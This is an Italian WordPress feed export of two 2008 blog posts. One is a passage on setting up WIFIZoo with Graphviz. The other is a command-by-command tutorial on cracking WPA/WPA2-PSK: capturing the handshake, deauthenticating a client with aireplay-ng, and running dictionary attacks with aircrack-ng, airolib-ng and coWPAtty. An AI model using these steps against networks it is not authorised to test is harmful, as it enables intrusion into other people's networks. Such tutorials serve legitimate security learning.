<p>Prima di testare WIFIZoo installeremo <a href="http://www.graphviz.org/" target="_blank">Graphviz</a>, questo tool permetterà a WIFIZoo di creare dei grafici che mettano in relazione BSSID con i client ad essi associati:</p>
<p>&#8212;&#8212;&#8212;<br />
wget http://www.graphviz.org/pub/graphviz/ARCHIVE/graphviz-working.tar.gz<br />
tar zxvf graphviz-working.tar.gz<br />
cd graphviz-2.16.1/<br />
&#8212;&#8212;&#8212;</p>
<p>durante l&#8217;installazione ho avuto dei problemi con le librerie grafiche, cosi cercando sul forum di <a href="http://remote-exploit.org" target="_blank">Remote-Exploit.org</a> ho trovato la soluzione ai miei problemi seguendo il <a href="http://forums.remote-exploit.org/showthread.php?t=11429" target="_blank">post</a> di <b>KMDave</b>, in pratica dobbiamo creare un collegamente al file &#8220;<b>gdkconfig.h</b>&#8221; prima di procedere con la normale procedura di installazione da sorgenti, quindi:</p>
<p>&#8212;&#8212;&#8212;<br />
ln -s /usr/lib/gtk-2.0/include/gdkconfig.h /usr/include<br />
./configure<br />
make<br />
make install<br />
&#8212;&#8212;&#8212;</p>
<p>A questo punto WIFIZoo è perfettamente funzionante, non dovete fare altro che recarvi dentro la directory di WIFIZoo e lanciarlo con:</p>
<p>&#8212;&#8212;&#8212;<br />
python wifizoo.py -i atho<br />
&#8212;&#8212;&#8212;</p>
<p>dove &#8220;ath0&#8243; rappresenta la vostra interfaccia di rete settata in monitor mode.</p>
<p>Adesso che abbiamo finito il nostro lavoro eliminiamo la cartella &#8220;update&#8221; dalla nostra home:</p>
<p>&#8212;&#8212;&#8212;<br />
cd /root<br />
rm -r update<br />
&#8212;&#8212;&#8212;</p>
<p>Spero di essere stato utile a qualcuno,<br />
ciauz!</p>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/carlitobrigante.wordpress.com/277/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/carlitobrigante.wordpress.com/277/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/carlitobrigante.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/carlitobrigante.wordpress.com/277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/carlitobrigante.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/carlitobrigante.wordpress.com/277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/carlitobrigante.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/carlitobrigante.wordpress.com/277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/carlitobrigante.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/carlitobrigante.wordpress.com/277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/carlitobrigante.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/carlitobrigante.wordpress.com/277/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlitobrigante.wordpress.com&blog=1680906&post=277&subd=carlitobrigante&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://carlitobrigante.wordpress.com/2008/02/06/aircrack-ng-wifizoo-update/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">PinguinoNinja</media:title>
		</media:content>

		<media:content url="http://carlitobrigante.files.wordpress.com/2008/02/helpdesk.jpg" medium="image">
			<media:title type="html">helpdesk.jpg</media:title>
		</media:content>
	</item>
		<item>
		<title>WPA Cracking</title>
		<link>http://carlitobrigante.wordpress.com/2008/01/23/wpa-cracking/</link>
		<comments>http://carlitobrigante.wordpress.com/2008/01/23/wpa-cracking/#comments</comments>
		<pubDate>Wed, 23 Jan 2008 19:27:33 +0000</pubDate>
		<dc:creator>PinguinoNinja</dc:creator>
				<category><![CDATA[/Radio-Network-Analisys]]></category>

		<guid isPermaLink="false">http://carlitobrigante.wordpress.com/2008/01/23/wpa-cracking/</guid>
		<description><![CDATA[
Ciao a tutti,
oggi ho ricevuto una mail di brigante~ con linkati alcuni thread sul forum di Remote-Exploit.org iniziati da alcuni tra gli utenti più attivi nello scrivere tutorial e a spiegarci il funzionamento dei tools messi a disposizione da BT3. I thread non mi erano nuovi e considerato che il WPA si appresta a diventare [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlitobrigante.wordpress.com&blog=1680906&post=216&subd=carlitobrigante&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p align="center"><img src="http://carlitobrigante.files.wordpress.com/2008/01/intro.jpg?w=350&#038;h=313" alt="intro.jpg" height="313" width="350" /></p>
<p>Ciao a tutti,<br />
oggi ho ricevuto una mail di <b>brigante~</b> con linkati alcuni thread sul forum di Remote-Exploit.org iniziati da alcuni tra gli utenti più attivi nello scrivere tutorial e a spiegarci il funzionamento dei tools messi a disposizione da <b>BT3</b>. I thread non mi erano nuovi e considerato che il <b>WPA</b> si appresta a diventare lo standard di sicurezza delle reti <b>WiFi</b> ho pensato di scrivere questo piccolo how-to sul cracking di reti <b>WPA/WPA2 PSK</b> seguendo i thread di <b>-=Xploitz=-</b>, <b>theprez98</b> e <b>shamanvirtuel</b> presenti su <a href="http://remote-exploit.org/" target="_blank">remote-exploit.org</a>.</p>
<p>Affronteremo i diversi approcci al cracking <b>WPA/WPA2 PSK</b> in ordine, analizzando prima l&#8217;utilizzo della sola suite di tools <b>Aircrack-ng</b>, poi l&#8217;utilizzo di <b>coWPAtty</b> e infine un loro utilizzo combinato. <u><i>La base comune di tutti questi tutorial è quella di possedere un handshake valido tra il client e l&#8217;AP</i></u>.</p>
<p>Partiamo dalla catturta dell&#8217;handshake e alla sua verifica.<br />
Come sempre settiamo l&#8217;interfaccia wireless che useremo in monitor mode sul canale dell&#8217;AP:</p>
<p><b>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</b><br />
<b>airmon-ng start wifi0 11</b><br />
<b>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</b><br />
Dunque utilizziamo airodump-ng il lock mode sul canale dal quale trasmette l&#8217;AP e facendo modo che filtri solo suo traffico impostando un filtro MAC:<br />
<b>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</b><br />
<b>airodump-ng &#8211;bssid 00:1c:10:90:86:7f &#8211;channel 11 -w handshake ath0</b><br />
<b>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</b><br />
A differenza del cracking del protocollo WEP, dove per effettuare con successo il cracking non era strettamente necessario individuare un client connesso via wirelss all&#8217;AP poichè anche il traffico generato da un client via cavo poteva essere utilizzato, nel cracking WPA <u><i>dobbiamo per forza avere almeno un client connesso o comunque rimanere in ascolto con airodump-ng fino a che non se ne connette uno</i></u>.<br />
La necessità di avere un client connesso nasce dal fatto che <i><u>il cracking WPA è sostanzialmente un brute-force su un pacchetto di autenticazione</u></i> confrontando l&#8217;hash di questo con quello generato da noi, quindi gli unici pacchetti che dobbiamo ottenere sono quelli in fase di handshake tra AP e client senza preoccuparci del traffico in transito sull&#8217;AP.<br />
Quando otterrete un handshake valido, <u><i>Airodump-ng vi informerà della cattura</i></u> facendo apparire nella sua finestra, in alto a destra, una scritta simile a questa &#8220;<b>[ WPA handhsake: 00:1c:10:90:86:7f</b>".<br />
Se non si connette nessun client durante lo sniffing possiamo deautenticarne uno gia connesso cosi che  si riconetta generando i <u><i>4 pacchetti che compongono l'handshake</i></u>, usiamo Aireplay-ng per forzare la disconnessione del client vittima:</p>
<p><b>--------------------------------</b><br />
<b>aireplay-ng -0 10 -a 00:10:1c:90:86:7f -c 00:19:d2:3b:91:85 ath0</b><br />
<b>--------------------------------</b><br />
Ottenuto l'handshake controlliamo che questo sia effettivamente valido con wireshark, quindi aprimo il file generato da airodump-ng con wireshark (<u>Menu--&gt;Backtrack--&gt;Privilege Escalation--&gt;Sniffers--&gt;Wireshark</u>) e controlliamo di aver catturato un handshake completo.</p>
<div></div>
<div><a href="http://carlitobrigante.files.wordpress.com/2008/01/handshake-wireshark.jpg" title="handshake-wireshark.jpg"></a></p>
<div style="text-align:center;"><a href="http://carlitobrigante.files.wordpress.com/2008/01/handshake-wireshark.jpg" target="_blank" title="handshake-wireshark.jpg"><img src="http://carlitobrigante.files.wordpress.com/2008/01/handshake-wireshark.jpg?w=450&#038;h=393" alt="handshake-wireshark.jpg" height="393" width="450" /></a></div>
<div style="text-align:center;">----------------------------------------------------------------------</div>
<div style="text-align:center;"></div>
<div style="text-align:center;"></div>
<div style="text-align:center;" align="center">
<div align="left"></div>
<div align="left">Per cercare più facilmente i pacchetti relativi all'handshake inserite nella casella filtro la parola "<b>eapol</b>". I pacchetti devono essere in tutto 4, 2 in partenza dall'AP verso il client, e 2 dal client all'AP. Dall'esempio potete vedere che <i><u>i pacchetti compresi tra il 575 e il 578 rispecchiano le 4 fasi che compongono l'handhsake WPA</u></i>, e in particolare:</div>
<div align="left">
<div align="left"><b>575</b> --&gt; l'AP inizia l'handshake; nell'etichetta "<i>802.1X Authentication</i>" vedrete una voce chiamata "<i>Replay Counter</i>" settata a 1</div>
</div>
<div align="left"><b>576</b> --&gt; il client risponde al primo pacchetto inviatogli dall'AP, anche qui il replay counter è settato a 1<br />
<b>577</b> --&gt; ancora è l'AP a iniziare la seconda fase dell'autenticazione, in questo caso il replay counter è settato a 2<br />
<b>578</b> --&gt; il client a sua volta risponde, il replay counter è 2</div>
<div align="left"></div>
<div align="left"></div>
<div align="left"></div>
<div align="left"></div>
<div align="left"><i><u>In pratica abbiamo 2 coppie di invio/risposta tra AP e client con lo stesso "replay counter".</u></i></div>
<div align="left"><u><b>Cracking</b></u></div>
<div align="left"></div>
<div align="left">Visto che si tratta di bruteforcing, partiamo dal recuperare una wordlist per il nostro scopo.<br />
Per il tutorial inseriremo in una wordlist, scaricata dal box del blog, la chiave WPA della nostra rete, cosi da eseguire il tutorial senza troppi problemi; teniamo presente che una wordlist per essere "<i>funzionante</i>" non ha solo bisogno di essere grande, ma anche "<i>adatta</i>" allo scenario; per questo tutorial userò una wordlist molto corta per velocizzarne l'esecuzione di prova.</div>
<div align="left"> Dirigiamoci sul box del blog (in alto a destra) e scarichiamo da qui una wordlist, per i test ho utilizzato <a href="http://www.box.net/encoded/10145971/102427149/e92d6bdaec108f9bb54d057a7dcd807e" target="_blank">questa</a>. Quindi scompattiamola con il comando:<br />
<b>-----------------<br />
gunzip -d junk.gz<br />
-----------------</b><br />
e editiamola inserendo al suo interno la password della nostra rete in questo modo:<br />
<b>--------------------<br />
cat &gt;&gt; junk &lt;&lt; "end"<br />
&gt;-=m0r3l337k3y=-<br />
&gt;end<br />
--------------------</b></div>
<div align="left">ovviamente al posto di "-=m0r3l337k3y=-" dovete inserire quella che è la vostra password WPA, quindi stoppate cat inserendo la parola "end"(senza virgolette!).</div>
<div align="left"></div>
<div align="left"></div>
<div align="left"></div>
<div align="left"></div>
<div align="left"><u><b>[AIRCRACK-NG]</b></u><br />
Ora iniziamo con il primo metodo di cracking utilizzando esclusivamente Aircrack-ng con la wordlist creata:</div>
<div align="left">
<div><b>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
aircrack-ng -w junk -b 00:1c:10:90:86:7f handshake*.cap<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</b></div>
<div><a href="http://carlitobrigante.wordpress.com/2008/01/23/wpa-cracking/218/" rel="attachment wp-att-218" title="aircrack-crack.jpg"></a></p>
<div style="text-align:center;"><a href="http://carlitobrigante.wordpress.com/2008/01/23/wpa-cracking/218/" target="_blank" rel="attachment wp-att-218" title="aircrack-crack.jpg"><img src="http://carlitobrigante.files.wordpress.com/2008/01/aircrack-crack.jpg?w=450&#038;h=330" alt="aircrack-crack.jpg" height="330" width="450" /></a></div>
<div style="text-align:center;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</div>
</div>
</div>
<div align="left"></div>
<div align="left"></div>
<div align="left"><u><b>-=Xploit=-</b> ha fatto un video tutorial</u>, il link è a <a href="http://forums.remote-exploit.org/showthread.php?t=8230" target="_blank">questo</a> post del forum di remote-exploit.org</div>
<div align="left"></div>
<div align="left"></div>
<div align="left"></div>
<div align="left"></div>
<div align="left"></div>
<div align="left"></div>
<div align="left"></div>
<div align="left"></div>
<div align="left"><u><b>[AIROLIB-NG]</b><b></b></u><br />
Adesso andremo ad utilizzare un&#8217;altro metodo di cracking che sfrutta Airolib-ng per creare un database con al suo interno le password precomputate con l&#8217;ESSID della vostra rete, in questo modo Aircrack-ng velocizzerà il lavoro di cracking.<br />
Prima di tutto specifico che per proseguire dovete avere installato <b>SQLite3</b>, <u><i>se state usando BT3 non avete problemi, è installato di default</i></u>. Per chi non avesse SQLite3 installato, può installarlo tramite il modulo creato da <b>balding_parrot</b> scaricabile da <a href="http://rapidshare.com/files/41948177/sqlite-3.4.0.lzm" target="_blank">qui</a>. Installato SQLite3 è necessario installare la versione di Aircrack-ng in fase di sviluppo, <a href="http://www.aircrack-ng.org/doku.php?id=install_aircrack#installing_aircrack-ng" target="_blank">qui</a> sul wiki di Aircrack-ng ci sono delle istruzioni dettagliate.</div>
<div align="left">
<div>A questo punto passiamo a creare il nostro database con Airolib-ng:<br />
<b>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</b></div>
<div><b> airolib-ng wpaTestDB init<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</b><br />
Con questo comando andremo a creare un database chiamato &#8220;<i>wpaTestDB</i>&#8220;. Ora creiamo la lista di ESSID con cui fare il salt delle password, per semplicità e velocità creiamo un file con all&#8217;interno solo il nome della nostra rete:<br />
<b>&#8212;&#8212;&#8212;&#8212;&#8211;<br />
nano essid.txt<br />
&#8212;&#8212;&#8212;&#8212;&#8211;</b><br />
un volta aperto il file con <b>nano</b> (se non esiste il file quest&#8217;ultimo verrà creato in automatico) inseriamo al suo interno il nome della nostra rete, nel mio caso &#8220;<i>trinacria</i>&#8220;.<br />
Quindi salviamo premendo &#8220;<i>F2</i>&#8221; e rispondiamo con &#8220;<i>y</i>&#8221; seguito dal tasto enter per salvare.<br />
Adesso inseriamo la lista di ESSID presenti nel file appena creato nel database con il comando:<br />
<b>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</b><b>-</b></div>
<div><b>airolib-ng wpaTestDB import ascii essid essid.txt<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</b><b>-</b><br />
e subito dopo le password:<br />
<b>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</b><b>-</b></div>
<div><b>airolib-ng wpaTestDB import ascii passwd junk<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</b><b>-</b><br />
Ora procediamo con una pulizia del database in modo che vengano eliminate tutte le chiavi non valide rendendolo cosi più veloce e leggero:<br />
<b>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
airolib-ng wpaTestDB clean all<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</b><br />
Adesso creiamo le PMK computando password con essid, tutto questo è fatto in automatico da Airolib-ng con il comando:<br />
<b>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
airolib-ng wpaTestDB batch<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</b></div>
<div><a href="http://carlitobrigante.files.wordpress.com/2008/01/airolib-batch.jpg" target="_blank" title="airolib-batch.jpg"></a></p>
<div style="text-align:center;"><a href="http://carlitobrigante.files.wordpress.com/2008/01/airolib-batch.jpg" target="_blank" title="airolib-batch.jpg"><img src="http://carlitobrigante.files.wordpress.com/2008/01/airolib-batch.jpg?w=450&#038;h=130" alt="airolib-batch.jpg" height="130" width="450" /></a></div>
<p>il tempo impiegato dipende dalla quantità di password inserite e dal numero di essid (1 nel nostro caso) oltre che dal sistema in vostro possesso.<br />
Se volessimo essere sicuri di essere riusciti a creare un database senza errori possiamo utilizzare l&#8217;opzione &#8220;<i>verify</i>&#8220;; in questo modo Airolib-ng effettua una verifica volta ad eliminare ogni PMK che riscontra non valida, il comando per eseguire la verifica:<br />
<b>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</b><b>-<br />
airolib-ng wpaTestDB verify all<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</b><b>-</b><br />
se voleste controllare solo un numero random di chiavi non specificate l&#8217;opzione &#8220;<i>all</i>&#8220;.<br />
Non ci resta che recuperare la chiave WPA con Aircrack-ng usando il database crerato da Airolib-ng al posto della sola wordlist:<br />
<b>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</b><b>&#8211;</b></div>
<div><b>aircrack-ng -r wpaTestDB handshake-01.cap<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</b><b>&#8211;</b></div>
<div>
<div style="text-align:center;"><a href="http://carlitobrigante.files.wordpress.com/2008/01/airolib-crack.jpg" target="_blank" title="airolib-crack.jpg"><img src="http://carlitobrigante.files.wordpress.com/2008/01/airolib-crack.jpg?w=450&#038;h=330" alt="airolib-crack.jpg" height="330" width="450" /></a></div>
<div style="text-align:center;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</div>
</div>
<div>
<div>Ancora una volta <u><b>-=Xpoitz=-</b> ha spiegato tutto producendo un&#8217;ottimo video</u>, trovate il link leggendo <a href="http://forums.remote-exploit.org/showthread.php?t=8041" target="_blank">questo</a> post del forum di Remote-Exploit.org</div>
<div></div>
<div></div>
<div></div>
<div></div>
<div></div>
<div></div>
<div><u><b>[COWPATTY]</b></u><br />
Non resta che provare con un&#8217;altro strumento a nostra disposizione, <b>coWPAtty</b>. In <b>BT3</b> per lanciare <b>coWPAtty 4.0</b>, quello <u>usato da <b>theprez98</b> in <a href="http://forums.remote-exploit.org/showthread.php?t=7384" target="_blank">questo</a> post</u> che si trova su Remote-Exploit.org, dovete andare nella cartella <i>/pentest/wireless/cowpatty-4.0/</i> e lanciarlo da qua dentro con <b><i>./cowpatty</i></b>.<br />
Anche con <b>coWPAtty</b> possiamo utilizzare metodi diversi, incominciamo sviluppando l&#8217;hash della password in tempo reale durante il cracking:</div>
<div>
<div><b>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
./cowpatty -f junk -r handshake-01.cap -s &#8220;trinacria&#8221;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</b></div>
<div><a href="http://carlitobrigante.files.wordpress.com/2008/01/cowpatty-crack.jpg" target="_blank" title="cowpatty-crack.jpg"></a></p>
<div style="text-align:center;"><a href="http://carlitobrigante.files.wordpress.com/2008/01/cowpatty-crack.jpg" target="_blank" title="cowpatty-crack.jpg"><img src="http://carlitobrigante.files.wordpress.com/2008/01/cowpatty-crack.jpg?w=450&#038;h=130" alt="cowpatty-crack.jpg" height="130" width="450" /></a></div>
</div>
<div></div>
<div>oppure possiamo precalcolare l&#8217;hash con genpmk e poi utilizzarlo con coWPAtty:<br />
<b>&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</b><b><br />
genpmk -f junk -d hashGenpmk -s &#8220;trinacria&#8221;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</b><a href="http://carlitobrigante.files.wordpress.com/2008/01/cowpatty-genpmk.jpg" target="_blank" title="cowpatty-genpmk.jpg"></a></div>
<div>
<div style="text-align:center;"><a href="http://carlitobrigante.files.wordpress.com/2008/01/cowpatty-genpmk.jpg" target="_blank" title="cowpatty-genpmk.jpg"><img src="http://carlitobrigante.files.wordpress.com/2008/01/cowpatty-genpmk.jpg?w=450&#038;h=130" alt="cowpatty-genpmk.jpg" height="130" width="450" /></a></div>
<p>e quindi recuperare la password fornendo in input l&#8217;hash, l&#8217;hanshake e l&#8217;ESSID della rete:<br />
<b>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</b><b><br />
./cowpatty -d hashGenpmk -r handshake-01.cap -s &#8220;trinacria&#8221;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</b></div>
<div><a href="http://carlitobrigante.files.wordpress.com/2008/01/cowpatty-genpmk-crack.jpg" target="_blank" title="cowpatty-genpmk-crack.jpg"></a></p>
<div style="text-align:center;"><a href="http://carlitobrigante.files.wordpress.com/2008/01/cowpatty-genpmk-crack.jpg" target="_blank" title="cowpatty-genpmk-crack.jpg"><img src="http://carlitobrigante.files.wordpress.com/2008/01/cowpatty-genpmk-crack.jpg?w=450&#038;h=130" alt="cowpatty-genpmk-crack.jpg" height="130" width="450" /></a></div>
<div style="text-align:center;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</div>
</div>
<div></div>
<div></div>
<div><u>Seguendo il <a href="http://forums.remote-exploit.org/showthread.php?t=7649" target="_blank">post</a> di <b>shamanvirtuel</b></u> ho scoperto che <b>Airolib-ng</b> ha tra le vari funzioni anche quella di esportare l&#8217;hash gia computato di un determinato ESSID con la nostra wordlist in un file che possa essere letto da <b>coWPAtty</b>, in questo modo <u><i>abbiamo la possibilità di gestire un database di hash con Airolib-ng e utilizzare coWPAtty per recuperare la chiave</i></u>; il comando per esportare solo gli hash di un determinato ESSID e password è:<br />
<b>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</b></div>
<div><b>airolib-ng wpaTestDB export cowpatty &#8220;trinacria&#8221; airoexport<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</b><br />
come vedete specifichiamo il database su quale lavorare (<i>wpaTestDB</i>) l&#8217;ESSID da esportare (<i>trinacria</i>) e il nome del file che andremo a generare (<i>airoexport</i>). Adesso con <b>coWPAtty</b> possiamo recuperare la nostra chiave:<br />
<b>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</b></div>
<div><b>./cowpatty -d airoexport -s &#8220;trinacria&#8221; -r hanshake-o1.cap<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</b></div>
<div></div>
<div></div>
<div></div>
<div></div>
<div></div>
<div><u><b>[AGGIORNARE "wpaTestDB"]</b></u></div>
<div></div>
<div><u><b></b></u>Aggiornare il database con <b>Airolib-ng</b> è possibile, <i><u>in questo modo potete aggiungere di volta in volta password o essid al vostro database senza perdere cio che avevate già computato prima</u></i>.<br />
Verifichiamo lo stato del nostro database:<b><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
airolib-ng wpaTestDB stats<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</b></div>
<div></div>
<div><a href="http://carlitobrigante.files.wordpress.com/2008/01/airolib-stats.jpg" target="_blank" title="airolib-stats.jpg"></a></p>
<div style="text-align:center;"><a href="http://carlitobrigante.files.wordpress.com/2008/01/airolib-stats.jpg" target="_blank" title="airolib-stats.jpg"><img src="http://carlitobrigante.files.wordpress.com/2008/01/airolib-stats.jpg?w=450&#038;h=130" alt="airolib-stats.jpg" height="130" width="450" /></a></div>
</div>
<div></div>
<div>in questo modo avremo per output l&#8217;elenco degli ESSID inseriti (trinacria) e la percentuale di PMK generate con le password inserite (100.0). Ora aggiungiamo un nuovo ESSID al database, quindi cancelliamo il file essid.txt creato prima e creiamone un&#8217;altro con all&#8217;interno l&#8217;ESSID da aggiungere (possiamo aggiungerne anche più di uno alla volta):<br />
<b>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</b></div>
<div><b></b><b>airolib-ng wpaTestDB import ascii essid essid.txt<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</b></div>
<div><b></b>Adesso proviamo a verificare ancora lo stato del nostro database e guardiamo il risultato:</div>
<div><a href="http://carlitobrigante.files.wordpress.com/2008/01/airolib-stats02.jpg" target="_blank" title="airolib-stats02.jpg"></a></p>
<div style="text-align:center;"><a href="http://carlitobrigante.files.wordpress.com/2008/01/airolib-stats02.jpg" target="_blank" title="airolib-stats02.jpg"><img src="http://carlitobrigante.files.wordpress.com/2008/01/airolib-stats02.jpg?w=450&#038;h=130" alt="airolib-stats02.jpg" height="130" width="450" /></a></div>
</div>
<div></div>
<div>Come potete vedere l&#8217;ESSID è stato aggiunto (essidAGGIUNTO) ma ancora non è stato computata nessuna PMK con questo ESSID (0.0); appunto ora comptiamo le chiavi con l&#8217;opzione batch e verifichiamo lo stato del database:</div>
<div></div>
<div><a href="http://carlitobrigante.files.wordpress.com/2008/01/airolib-stats03.jpg" target="_blank" title="airolib-stats03.jpg"></a></p>
<div style="text-align:center;"><a href="http://carlitobrigante.files.wordpress.com/2008/01/airolib-stats03.jpg" target="_blank" title="airolib-stats03.jpg"><img src="http://carlitobrigante.files.wordpress.com/2008/01/airolib-stats03.jpg?w=450&#038;h=130" alt="airolib-stats03.jpg" height="130" width="450" /></a></div>
</div>
<div></div>
<div>Adesso il database è computato al 100%!!</div>
<div></div>
<div></div>
<div>Cosa utilizzare di ciò che ho scritto e in che circostanza penso si possa capire solo con la pratica, io non mi sono fatto un&#8217;idea generale. Per farsi un&#8217;idea migliore bisogna fare più prove e porgere attenzione alla tempistica di ogni passaggio, magari provando wordlist di dimensioni diverse, tanto sperimentare non fa mai male! <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </div>
<div></div>
<div>Per concludere vi ricordo che <u><i>dovete sperimentare tutto quello che ho scritto su una rete di vostra proprietà, non intendo prendermi nessuna responsabilità dell&#8217;uso che farete di quanto descritto</i></u>.</div>
</div>
</div>
</div>
</div>
</div>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/carlitobrigante.wordpress.com/216/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/carlitobrigante.wordpress.com/216/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/carlitobrigante.wordpress.com/216/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/carlitobrigante.wordpress.com/216/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/carlitobrigante.wordpress.com/216/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/carlitobrigante.wordpress.com/216/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/carlitobrigante.wordpress.com/216/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/carlitobrigante.wordpress.com/216/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/carlitobrigante.wordpress.com/216/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/carlitobrigante.wordpress.com/216/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/carlitobrigante.wordpress.com/216/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/carlitobrigante.wordpress.com/216/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlitobrigante.wordpress.com&blog=1680906&post=216&subd=carlitobrigante&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://carlitobrigante.wordpress.com/2008/01/23/wpa-cracking/feed/</wfw:commentRss>
		<slash:comments>53</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">PinguinoNinja</media:title>
		</media:content>

		<media:content url="http://carlitobrigante.files.wordpress.com/2008/01/intro.jpg" medium="image">
			<media:title type="html">intro.jpg</media:title>
		</media:content>

		<media:content url="http://carlitobrigante.files.wordpress.com/2008/01/handshake-wireshark.jpg" medium="image">
			<media:title type="html">handshake-wireshark.jpg</media:title>
		</media:content>

		<media:content url="http://carlitobrigante.files.wordpress.com/2008/01/aircrack-crack.jpg" medium="image">
			<media:title type="html">aircrack-crack.jpg</media:title>
		</media:content>

		<media:content url="http://carlitobrigante.files.wordpress.com/2008/01/airolib-batch.jpg" medium="image">
			<media:title type="html">airolib-batch.jpg</media:title>
		</media:content>

		<media:content url="http://carlitobrigante.files.wordpress.com/2008/01/airolib-crack.jpg" medium="image">
			<media:title type="html">airolib-crack.jpg</media:title>
		</media:content>

		<media:content url="http://carlitobrigante.files.wordpress.com/2008/01/cowpatty-crack.jpg" medium="image">
			<media:title type="html">cowpatty-crack.jpg</media:title>
		</media:content>

		<media:content url="http://carlitobrigante.files.wordpress.com/2008/01/cowpatty-genpmk.jpg" medium="image">
			<media:title type="html">cowpatty-genpmk.jpg</media:title>
		</media:content>

